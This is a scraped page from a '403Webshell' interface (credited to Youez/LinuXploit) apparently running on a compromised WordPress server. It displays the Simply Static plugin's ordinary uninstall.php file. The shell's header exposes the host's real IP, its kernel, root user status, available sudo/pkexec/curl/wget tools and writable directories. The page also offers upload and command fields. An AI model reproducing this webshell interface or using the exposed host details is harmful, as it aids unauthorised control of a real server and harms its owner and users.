403Webshell
Server IP : 167.99.224.18  /  Your IP : 216.73.216.136
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux wordpress-ubuntu-s-1vcpu-1gb-nyc1-01 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.0.25
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/wp-content/plugins-old/simply-static/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wp-content/plugins-old/simply-static/uninstall.php
<?php
/**
 * Uninstall Simply Static
 */

// Exit if accessed directly.
if ( ! defined( 'WP_UNINSTALL_PLUGIN' ) ) {
	exit;
}

// Clear any scheduled exports.
if ( function_exists( 'wp_clear_scheduled_hook' ) ) {
	wp_clear_scheduled_hook( 'simply_static_site_export_cron' );
}

// Remove the entire Simply Static directory inside uploads (e.g., wp-content/uploads/simply-static).
// We do this before deleting options so a custom temp path still resolves correctly if needed elsewhere.
$uploads = wp_upload_dir();
$ss_root = trailingslashit( $uploads['basedir'] ) . 'simply-static';

/**
 * Recursively delete a directory and its contents.
 * Lightweight and local to uninstall to avoid loading plugin classes.
 *
 * @param string $dir
 *
 * @return bool True on success or if path does not exist; false on failure.
 */
function ss_rrmdir_uninstall( $dir ) {
	$dir = (string) $dir;
	if ( $dir === '' || ! file_exists( $dir ) ) {
		return true; // nothing to do
	}
	if ( is_file( $dir ) || is_link( $dir ) ) {
		return unlink( $dir );
	}
	$it = new RecursiveIteratorIterator(
		new RecursiveDirectoryIterator( $dir, RecursiveDirectoryIterator::SKIP_DOTS ),
		RecursiveIteratorIterator::CHILD_FIRST
	);
	foreach ( $it as $path => $fileinfo ) {
		if ( $fileinfo->isDir() ) {
			if ( ! rmdir( $fileinfo->getRealPath() ) ) {
				return false;
			}
		} else {
			if ( ! unlink( $fileinfo->getRealPath() ) ) {
				return false;
			}
		}
	}

	return rmdir( $dir );
}

ss_rrmdir_uninstall( $ss_root );

// Delete Simply Static's settings after filesystem cleanup.
delete_option( 'simply-static' );

// Drop DB tables used by Simply Static.
require_once plugin_dir_path( __FILE__ ) . 'src/class-ss-plugin.php';
require_once plugin_dir_path( __FILE__ ) . 'src/models/class-ss-model.php';
require_once plugin_dir_path( __FILE__ ) . 'src/models/class-ss-page.php';

Simply_Static\Page::drop_table();

Youez - 2016 - github.com/yon3zu
LinuXploit